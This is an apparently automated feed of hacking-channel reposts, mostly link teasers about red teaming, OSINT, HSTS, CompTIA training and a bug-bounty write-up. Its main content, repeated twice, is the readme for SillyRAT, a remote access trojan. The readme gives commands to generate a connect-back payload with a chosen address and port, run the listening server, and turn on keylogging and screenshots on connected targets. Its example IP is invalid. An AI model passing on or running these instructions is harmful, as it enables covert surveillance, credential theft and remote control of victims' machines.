Hacking on Medium
Getting Started with Covenant C2 for Red Teaming

https://cdn-images-1.medium.com/max/1600/0*QpsxQmOMCob8xFHM.png
Command and Control is part of Red Teaming tactic according to Mitre ATT&CK framework.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Your Fingerprint Can Be Hacked For $5. Here’s How. - Kraken Blog

https://external-preview.redd.it/e-nKRB22hX0CHwxwHMToanOp_lp6MHH3qrKDu_js3Ew.jpg?width=640&crop=smart&auto=webp&s=ad4776b8025a8970e9907c3e2d501cb6403f0edd submitted by /u/zoggy90
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

https://blogger.googleusercontent.com/img/a/AVvXsEjpsz9f0QdolzGmV7UsNK9StvNTJSqzSnd8fcl40mfahIWBTXnp8w07f49p4iLEvOu8f0VZo0QLC9rYsCMkT0asIs2VUh5mcrn9n7t9SkQ8-Xhbfd_R18OMXa7rfyZ9Gqpt4gmVfisMkwi5joD3sitDLGDvBpU5UCS4MAMEJwFBACu7HxKKDUfGYDRYsg=w640-h314 A Cross Platform multifunctional (Windows/Linux/Mac) RAT.Getting StartedDescriptionA cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well. Features* Built-in Shell for command execution
* Dumping System Information including drives and rams
* Screenshot module. Captures screenshot of client screen.
* Connection Loop (Will continue on connecting to server)
* Currently, it uses BASE64 encoding.
* Pure Python
* Cross Platform. (Tested on Linux. Errors are accepted)
* Source File included for testing
* Python 3 To be expected in future* Stealth Execution
* Encryption
* Storing Sessions from last attempt
* Pushing Notifications when a client connects InstallationThe tool is tested on Parrot OS with Python 3.8. Follow the steps for installation: $ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt DocumentationGenerating PayloadYou can get the payload file in two ways:

* Source File
* Compiled File
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source The compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer https://blogger.googleusercontent.com/img/a/AVvXsEgb8Scr-dE0nAgy5Vghmc1jmhAXX0BTF8bHKJx_XU8A2hsjHVOdbQVZWP6LBw9OV1_Tz1B9Ocl56fdyivqBiXdTK7jiLf2GI0bUJ5vnFcFzpxpXDPj4zpefYzAavytipr5ikbCOSVx_UYxWo9FGhu3ejblWzFEOOMHAPqU2npgNmwdASiQw9TB5tcvkXA=w640-h328 Replace your IP Address and Port on above commands. Running ServerThe server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server: $ python3 sillyrat.py bind --address 0.0.0.0 --port 2999 ConnectionsAll the connections will be listed under sessions command: $ sessions https://blogger.googleusercontent.com/img/a/AVvXsEjItTcUamzdomH_e5tZCU4n1zDROGlmDquYZz4BMy4k6_JlEiMWHIlwpnvX5kr3_noMtLUr0vE7-2raPYU0_UR10XsNm_UNCJ12sdHxggw2qHR8D6ywG4e3MmAwN-GOzl5l5bPjfP2ZXzeQ4XAk1v4i8zjEPiTd69j0-gf_2U0ZkGK3H4gtqgZSaKI57w=w640-h316 You can connect to you target session with connect command and launch one of available commands:

keylogger on $ keylogger dump $ screenshot ">$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot https://blogger.googleusercontent.com/img/a/AVvXsEhr-arAFh5s8xFhht98sdy8cCaD7A3UnrGFO6LGt6mLhuAG3GcbliRF-DqeYq1Qv0zcgu0qZe61Mr-epoGTrhGM5hD2wDPDLSI21Mz_uCmYFn6ZdO9Va0ghH4ewzEs0mjcbpYtKY9-Xdf[...]

___________________________
@hacking_Attack
@Hacking_Video

0sapdqUDXfKyPVRv9acZs41yGQX8CDwr4d7kWajwrZk57JFA=w640-h278 HelpGet a list of available commands: $ help Help on a Specific Command: $ help COMMAND SupportTwitter: @hash3liZer
Discord: TheFlash2k#0407 Download SillyRAT

___________________________
@hacking_Attack
@Hacking_Video

SillyRAT - A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

A Cross Platform multifunctional (Windows/Linux/Mac) RAT.Getting StartedDescriptionA cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.FeaturesBuilt-in Shell for command executionDumping System Information including drives and ramsScreenshot module. Captures screenshot of client screen.Connection Loop (Will continue on connecting to server)Currently, it uses BASE64 encoding. Pure PythonCross Platform. (Tested on Linux. Errors are accepted)Source File included for testingPython 3To be expected in futureStealth ExecutionEncryptionStoring Sessions from last attemptPushing Notifications when a client connectsInstallationThe tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:$ git clone https://github.com/hash3liZer/SillyRAT.git$ cd SillyRAT/$ pip3 install -r requirements.txtDocumentationGenerating PayloadYou can get the payload file in two ways:Source FileCompiled FileThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: $ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --sourceThe compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer Replace your IP Address and Port on above commands.Running ServerThe server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999ConnectionsAll the connections will be listed under sessions command:$ sessionsYou can connect to you target session with connect command and launch one of available commands:keylogger on $ keylogger dump $ screenshot ">$ connect ID$ keylogger on$ keylogger dump$ screenshotHelpGet a list of available commands:$ helpHelp on a Specific Command:$ help COMMANDSupportTwitter: @hash3liZerDiscord: TheFlash2k#0407Download SillyRAT
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Fuzzing YouTube channel with lot of fuzzing videos
https://www.reddit.com/r/redteamsec/comments/qywlox/fuzzing_youtube_channel_with_lot_of_fuzzing_videos/

submitted by /u/secgeek (https://www.reddit.com/user/secgeek)
[link] (https://www.youtube.com/c/MrHardik05) [comments] (https://www.reddit.com/r/redteamsec/comments/qywlox/fuzzing_youtube_channel_with_lot_of_fuzzing_videos/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Is Cyber Security

https://cdn-images-1.medium.com/max/2440/0*e8o0Isy8ZzNRYO5X
The internet, which has become the common language of technology in the world we live in today and enables computers to connect and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
theHarvester is still my go-to OSINT tool for passive reconnaissance. This intelligence-gathering tool never chase to amaze!

https://external-preview.redd.it/O6vQzdVQ1Q87RQyBf7vuGEXLe3lxYpwxvgnpV313VUA.jpg?width=640&crop=smart&auto=webp&s=ce2113585506cc23b5e8f357ade4218578917efc submitted by /u/nexenta81
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there any tool or site to view youtube analytics on other youtube channels?

I mean the analytics which can be shown from youtube studio which includes demographics like age, gender, etc. Is there a way to see them if the channel is not mine?

submitted by /u/bluuumoo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Free Training on CompTIA A+ Full Course

Hi everyone,

I'm currently delivering free training on the full CompTIA A+ course. The course consists of 18 modules and I created a dedicated video for each module. Some of these videos might be a bit long since each video covers a whole module after all.

I added time stamps in each video for you convenience if your only looking for something specific in a module or only want to refresh on a certain topic so please feel free to make use of them.

There will be 20 videos for this course, the first is just the 4min intro explaining the course, the last will be a dedicated exam tips video and then obviously the 18 videos in between will be your modules with the actual course.

The training should be enough to pass both the international exams for A+ and the other courses I deliver should also be enough to pass the exams associated if there is a exam associated to that specific course.

If you have a question about a specific topic in a module or the course in general that you would like more clarity on, please feel free to ask and I will try to assist you where I can if I'm online.

Here is the course intro

CompTIA A+ Course Intro

submitted by /u/BurningIceTech
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do websites block /administrator pages

A website has www.website/administrator but it redirects you to the main index.php page. How do the the actual admins get acces to it if i can't? If not, how do they block me from accessing that certain page.

​

​

Sorry if this is a really, really stupid question, i just can't find anything on google

submitted by /u/Puzzleheaded-Pea-683
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

PAN Card Privacy Issue | Exposing Your Personal Information | Income Tax Department
https://infosecwriteups.com/pan-card-privacy-issue-exposing-your-personal-information-income-tax-department-40f09e4b35cb?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey, Amazing Hackers! Again, Raidh Ĥere. This writeup is based on a vulnerability which leads to expose your personal information’s…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/pan-card-privacy-issue-exposing-your-personal-information-income-tax-department-40f09e4b35cb?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Understanding HTTP Strict Transport Security (HSTS)

HTTP strict transport security (commonly written as HSTS) is a browser response header allowing a website to specify that it should only…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video